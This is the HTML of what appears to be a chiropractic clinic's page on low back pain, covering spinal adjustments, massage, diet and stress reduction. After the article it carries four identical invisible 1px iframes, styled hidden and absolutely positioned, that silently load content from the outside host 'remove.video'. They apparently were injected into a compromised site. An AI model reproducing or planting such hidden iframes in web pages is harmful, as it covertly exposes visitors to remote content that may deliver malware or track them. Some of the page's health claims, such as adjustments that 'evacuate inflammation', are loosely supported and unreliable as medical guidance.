Low back pain often responds dramatically to the correction of vertebrae positioning and the restoration of normal motion.<\/p><p>Chiropractors use spinal manipulations or adjustments to precisely apply a directed force to the vertebrae that are immobile or out of position. This helps to restore mobility, take pressure off of sensitive structures, and evacuate inflammation from the area.<\/p><p>Additionally, your chiropractor may suggest adding exercises, hot or cold compresses, or <a href=\"https:\/\/sportschirosanfran.com\/massage-mission\/\">massage<\/a> to compliment your adjustments. It may also be helpful to consider some lifestyle changes such as <a href=\"https:\/\/www.sportschirosanfran.com\/elimination-diet-sf\/\">healthier eating<\/a> and <a href=\"https:\/\/www.sportschirosanfran.com\/stress-sf\/\">stress reduction techniques<\/a>.<\/p><p>Low back problems are more common for people who are in poor physical condition and those with jobs that include heavy lifting, long periods of sitting, standing or lots of bending. Emotional stress or long periods of inactivity may intensify symptoms or trigger the appearance of previous problems.<\/p><p>It is important to have back pain treated early.\u00a0 Waiting until the pain is unbearable or immobilizing is not only unhealthy but may end up costing more time, stress, and money in the long run.\u00a0<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Low Back Pain SF &#038; Marin We address Low Back Pain in San Francisco &amp; Marin through a combination of stretching, strengthening, chiropractic adjustments, massage,\u00a0 reiki, and more.
